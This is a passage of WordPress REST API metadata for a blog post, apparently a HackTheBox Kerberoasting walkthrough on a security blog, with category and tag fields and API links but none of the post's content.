[&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":62,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,9],"tags":[4,5,3,6,7],"class_list":["post-61","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-active-directory-101","category-walkthroughs","tag-active-directory","tag-hacking","tag-hackthebox","tag-kerberoasting","tag-writeup"],"_links":{"self":[{"href":"https:\/\/dextersec.xyz\/index.php?rest_route=\/wp\/v2\/posts\/61"}],"collection":[{"href":"https:\/\/dextersec.xyz\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dextersec.xyz\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dextersec.xyz\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dextersec.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=61"}],"version-history":[{"count":18,"href":"https:\/\/dextersec.xyz\/index.php?rest_route=\/wp\/v2\/posts\/61\/revisions"}],"predecessor-version":[{"id":388,"href":"https:\/\/dextersec.xyz\/index.php?rest_route=\/wp\/v2\/posts\/61\/revisions\/388"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/dextersec.xyz\/index.php?rest_route=\/wp\/v2\/media\/62"}],"wp:attachment":[{"href":"https:\/\/dextersec.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=61"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dextersec.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=61"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dextersec.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=61"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}